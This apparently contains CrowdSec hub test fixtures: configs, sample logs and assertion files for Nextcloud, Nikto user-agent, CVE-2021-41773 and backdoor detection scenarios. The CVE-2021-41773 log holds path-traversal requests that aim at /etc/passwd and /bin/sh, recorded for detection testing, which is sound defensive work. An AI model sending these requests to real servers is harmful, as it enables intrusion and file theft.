"2001:db8::d71" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["target_user"] == "foo" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "{\"reqId\":\"U1rsiIxFtovEqTt77CJN\",\"level\":2,\"time\":\"2022-01-16T15:42:37+00:00\",\"remoteAddr\":\"2001:db8::d71\",\"user\":\"--\",\"app\":\"no app in context\",\"method\":\"POST\",\"url\":\"/login\",\"message\":\"Login failed: foo (Remote IP: 2001:db8::d71)\",\"userAgent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\",\"version\":\"23.0.0.10\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-01-16T15:42:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "nextcloud-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "nextcloud_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "nextcloud" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "2001:db8::d71" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["target_user"] == "foo" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-01-16T15:42:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "Nextcloud" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "2001:db8::d71" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["action"] == "login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "{\"reqId\":\"U1rsiIxFtovEqTt77CJN\",\"level\":1,\"time\":\"2022-01-16T15:42:37+00:00\",\"remoteAddr\":\"2001:db8::d71\",\"user\":\"--\",\"app\":\"core\",\"method\":\"POST\",\"url\":\"/login\",\"message\":\"Bruteforce attempt from \\\"2001:db8::d71\\\" detected for action \\\"login\\\".\",\"userAgent\":\"Mozilla/5.0 (X11; Linux x86_64; rv:95.0) Gecko/20100101 Firefox/95.0\",\"version\":\"23.0.0.10\"}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "2001:db8::d71" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-01-16T15:42:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["action"] == "login" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "nextcloud-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "nextcloud_bruteforce_attempt" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "nextcloud" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-01-16T15:42:37Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "{\"reqId\":\"dCA39mNG3NHLwbibVCFp\",\"level\":1,\"time\":\"2023-02-14T17:28:33+00:00\",\"remoteAddr\":\"172.18.0.200\",\"user\":\"--\",\"app\":\"core\",\"method\":\"GET\",\"url\":\"/\",\"message\":\"Trusted domain error. \\\"172.18.0.200\\\" tried to access using \\\"cloud.test.com\\\" as host.\",\"userAgent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0\",\"version\":\"25.0.3.2\",\"data\":{\"app\":\"core\"}}" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "Nextcloud" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "172.18.0.200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2023-02-14T17:28:33Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "nextcloud-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "nextcloud_domain_error" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["service"] == "nextcloud" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "172.18.0.200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2023-02-14T17:28:33Z" len(results["success"][""]) == 0 hub1/.tests/nextcloud-logs/scenario.assert000066400000000000000000000000001437532772500211370ustar00rootroot00000000000000hub1/.tests/nextcloud-whitelist/000077500000000000000000000000001437532772500171735ustar00rootroot00000000000000hub1/.tests/nextcloud-whitelist/config.yaml000066400000000000000000000005051437532772500213240ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs - ./parsers/s02-enrich/crowdsecurity/nextcloud-whitelist.yaml scenarios: - "" postoverflows: - "" log_file: nextcloud-whitelist.log log_type: nginx labels: {} ignore_parsers: false override_statics: [] hub1/.tests/nextcloud-whitelist/nextcloud-whitelist.log000066400000000000000000000004151437532772500237150ustar00rootroot000000000000001.2.3.4 - - [07/Oct/2022:00:01:18 +0200] "GET /remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo HTTP/2.0" 404 20 "https://myapp.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"hub1/.tests/nextcloud-whitelist/parser.assert000066400000000000000000000336071437532772500217230ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 1 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "nginx" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "1.2.3.4 - - [07/Oct/2022:00:01:18 +0200] \"GET /remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo HTTP/2.0\" 404 20 \"https://myapp.com/\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0\"" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "nextcloud-whitelist.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 1 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false len(results["s01-parse"]["crowdsecurity/nginx-logs"]) == 1 results["s01-parse"]["crowdsecurity/nginx-logs"][0].Success == true results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_referer"] == "https://myapp.com/" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["message"] == "1.2.3.4 - - [07/Oct/2022:00:01:18 +0200] \"GET /remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo HTTP/2.0\" 404 20 \"https://myapp.com/\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0\"" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["program"] == "nginx" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["time_local"] == "07/Oct/2022:00:01:18 +0200" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["body_bytes_sent"] == "20" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["http_version"] == "2.0" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["remote_user"] == "-" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["request"] == "/remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Parsed["status"] == "404" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["datasource_path"] == "nextcloud-whitelist.log" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_path"] == "/remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_status"] == "404" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/nginx-logs"][0].Evt.Meta["datasource_type"] == "file" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "1.2.3.4 - - [07/Oct/2022:00:01:18 +0200] \"GET /remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo HTTP/2.0\" 404 20 \"https://myapp.com/\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0\"" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["body_bytes_sent"] == "20" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_version"] == "2.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "nginx" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time_local"] == "07/Oct/2022:00:01:18 +0200" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_referer"] == "https://myapp.com/" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "nextcloud-whitelist.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_path"] == "/remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-10-07T00:01:18+02:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-10-07T00:01:18+02:00" len(results["s02-enrich"]["crowdsecurity/http-logs"]) == 1 results["s02-enrich"]["crowdsecurity/http-logs"][0].Success == true results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_version"] == "2.0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["body_bytes_sent"] == "20" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_ext"] == ".vcf" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_name"] == "14FF37C0-C83C-4CB5-9091-269A9337D362.vcf" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_referer"] == "https://myapp.com/" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["program"] == "nginx" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["request"] == "/remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["status"] == "404" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["http_args"] == "photo" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["message"] == "1.2.3.4 - - [07/Oct/2022:00:01:18 +0200] \"GET /remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo HTTP/2.0\" 404 20 \"https://myapp.com/\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0\"" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["time_local"] == "07/Oct/2022:00:01:18 +0200" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_dir"] == "/remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["file_frag"] == "14FF37C0-C83C-4CB5-9091-269A9337D362" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Parsed["impact_completion"] == "false" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["timestamp"] == "2022-10-07T00:01:18+02:00" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_path"] == "nextcloud-whitelist.log" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_args_len"] == "5" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Meta["http_path"] == "/remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo" results["s02-enrich"]["crowdsecurity/http-logs"][0].Evt.Enriched["MarshaledTime"] == "2022-10-07T00:01:18+02:00" len(results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"]) == 1 results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Success == true results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["body_bytes_sent"] == "20" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["http_args"] == "photo" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["message"] == "1.2.3.4 - - [07/Oct/2022:00:01:18 +0200] \"GET /remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo HTTP/2.0\" 404 20 \"https://myapp.com/\" \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0\"" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["status"] == "404" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["static_ressource"] == "false" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["time_local"] == "07/Oct/2022:00:01:18 +0200" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["file_dir"] == "/remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["file_name"] == "14FF37C0-C83C-4CB5-9091-269A9337D362.vcf" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["impact_completion"] == "false" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["remote_user"] == "-" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["request"] == "/remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["program"] == "nginx" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["file_ext"] == ".vcf" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["file_frag"] == "14FF37C0-C83C-4CB5-9091-269A9337D362" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["http_referer"] == "https://myapp.com/" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Parsed["http_version"] == "2.0" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["service"] == "http" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["timestamp"] == "2022-10-07T00:01:18+02:00" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["http_verb"] == "GET" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["log_type"] == "http_access-log" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["datasource_path"] == "nextcloud-whitelist.log" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["http_args_len"] == "5" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["http_path"] == "/remote.php/dav/addressbooks/users/crowdsec/bvf-panilor/14FF37C0-C83C-4CB5-9091-269A9337D362.vcf?photo" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Meta["http_status"] == "404" results["s02-enrich"]["crowdsecurity/nextcloud-whitelist"][0].Evt.Enriched["MarshaledTime"] == "2022-10-07T00:01:18+02:00" len(results["success"][""]) == 0hub1/.tests/nextcloud-whitelist/scenario.assert000066400000000000000000000000001437532772500222070ustar00rootroot00000000000000hub1/.tests/nginx-bad-user-agent/000077500000000000000000000000001437532772500170735ustar00rootroot00000000000000hub1/.tests/nginx-bad-user-agent/config.yaml000066400000000000000000000003541437532772500212260ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/http-bad-user-agent postoverflows: - "" log_file: nginx-bad-user-agent.log log_type: nginx ignore_parsers: true hub1/.tests/nginx-bad-user-agent/nginx-bad-user-agent.log000066400000000000000000000006231437532772500235160ustar00rootroot00000000000000127.0.0.1 - - [29/Sep/2021:14:11:34 +0200] "HEAD / HTTP/1.1" 200 0 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:Port Check)" 127.0.0.1 - - [29/Sep/2021:14:11:34 +0200] "GET / HTTP/1.1" 200 10918 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:getinfo)" 127.0.0.1 - - [29/Sep/2021:14:11:34 +0200] "GET / HTTP/1.1" 200 10918 "-" "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:map_codes)"hub1/.tests/nginx-bad-user-agent/parser.assert000066400000000000000000000000001437532772500216000ustar00rootroot00000000000000hub1/.tests/nginx-bad-user-agent/scenario.assert000066400000000000000000000035421437532772500221250ustar00rootroot00000000000000len(results) == 1 "127.0.0.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["127.0.0.1"].IP == "127.0.0.1" results[0].Overflow.Sources["127.0.0.1"].Range == "" results[0].Overflow.Sources["127.0.0.1"].GetScope() == "Ip" results[0].Overflow.Sources["127.0.0.1"].GetValue() == "127.0.0.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "nginx-bad-user-agent.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:Port Check)" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "HEAD" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "nginx-bad-user-agent.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/" results[0].Overflow.Alert.Events[1].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[1].GetMeta("http_user_agent") == "Mozilla/5.00 (Nikto/2.1.5) (Evasions:None) (Test:getinfo)" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "127.0.0.1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-bad-user-agent" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 2 hub1/.tests/nginx-cve-2021-41773/000077500000000000000000000000001437532772500161175ustar00rootroot00000000000000hub1/.tests/nginx-cve-2021-41773/config.yaml000066400000000000000000000003651437532772500202540ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/nginx-logs - crowdsecurity/dateparse-enrich scenarios: - scenarios/crowdsecurity/http-cve-2021-41773.yaml postoverflows: - "" log_file: cve-2021-41773.log log_type: nginx ignore_parsers: true hub1/.tests/nginx-cve-2021-41773/cve-2021-41773.log000066400000000000000000000004041437532772500204420ustar00rootroot00000000000000memze.ro 23.94.26.138 - - [08/Oct/2021:17:09:03 +0200] "GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1" 400 166 "-" "-" "-" memze.ro 163.172.173.238 - - [08/Oct/2021:17:28:17 +0200] "POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1" 400 166 "-" "-" "-" hub1/.tests/nginx-cve-2021-41773/scenario.assert000066400000000000000000000047231437532772500211530ustar00rootroot00000000000000len(results) == 2 "23.94.26.138" in results[0].Overflow.GetSources() results[0].Overflow.Sources["23.94.26.138"].IP == "23.94.26.138" results[0].Overflow.Sources["23.94.26.138"].Range == "" results[0].Overflow.Sources["23.94.26.138"].GetScope() == "Ip" results[0].Overflow.Sources["23.94.26.138"].GetValue() == "23.94.26.138" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "cve-2021-41773.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "400" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "23.94.26.138" results[0].Overflow.Alert.Events[0].GetMeta("target_fqdn") == "memze.ro" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/http-cve-2021-41773" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "163.172.173.238" in results[1].Overflow.GetSources() results[1].Overflow.Sources["163.172.173.238"].IP == "163.172.173.238" results[1].Overflow.Sources["163.172.173.238"].Range == "" results[1].Overflow.Sources["163.172.173.238"].GetScope() == "Ip" results[1].Overflow.Sources["163.172.173.238"].GetValue() == "163.172.173.238" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "cve-2021-41773.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "400" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "163.172.173.238" results[1].Overflow.Alert.Events[0].GetMeta("target_fqdn") == "memze.ro" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/http-cve-2021-41773" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 hub1/.tests/nginx-http-backdoor/000077500000000000000000000000001437532772500170365ustar00rootroot00000000000000hub1/.tests/nginx-http-backdoor/config.yaml000066400000000000000000000004111437532772500211630ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/http-logs scenarios: - crowdsecurity/http-backdoors-attempts postoverflows: - "" log_file: nginx-http-backdoor.log log_type: nginx ignore_parsers: true 